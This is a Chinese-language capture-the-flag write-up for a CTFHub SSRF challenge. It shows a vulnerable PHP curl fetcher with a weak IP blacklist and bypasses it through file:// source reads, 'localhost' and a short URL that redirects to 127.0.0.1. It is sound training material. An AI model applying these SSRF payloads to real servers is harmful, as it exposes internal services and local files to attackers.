CTFHub技能树 Web-SSRF 302跳转 Bypass
hint:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
启动环境,依然为空白界面,查看URL:
http://challenge-722b117ccdc24f8e.sandbox.ctfhub.com:10800/?url=_
其中有通过GET传参的url
,尝试访问127.0.0.1/flag.php
页面:
提示:不允许企业内部IP访问,使用file
协议获取其源码:?url=file:///var/www/html/flag.php
得到flag.php
页面源码:
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
与之前一样,通过REMOTE_ADDR
请求头限制本地IP请求,源码中并没有之前的hacker! Ban Intranet IP,所以查看index.php
页面的源码:?url=file:///var/www/html/index.php
得到index.php
页面源码:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
其中存在黑名单,限制了127
、172
、10
、192
网段,其实可以通过localhost
的方式绕过,即?url=localhost/flag.php
也可以得到flag:
但题目提示使用302跳转方式,尝试将http://127.0.0.1/flag.php
转换为短网址:
利用生成的短地址构造Payload:?url=surl-2.cn/0nPI
,发送请求,利用302跳转,得到flag: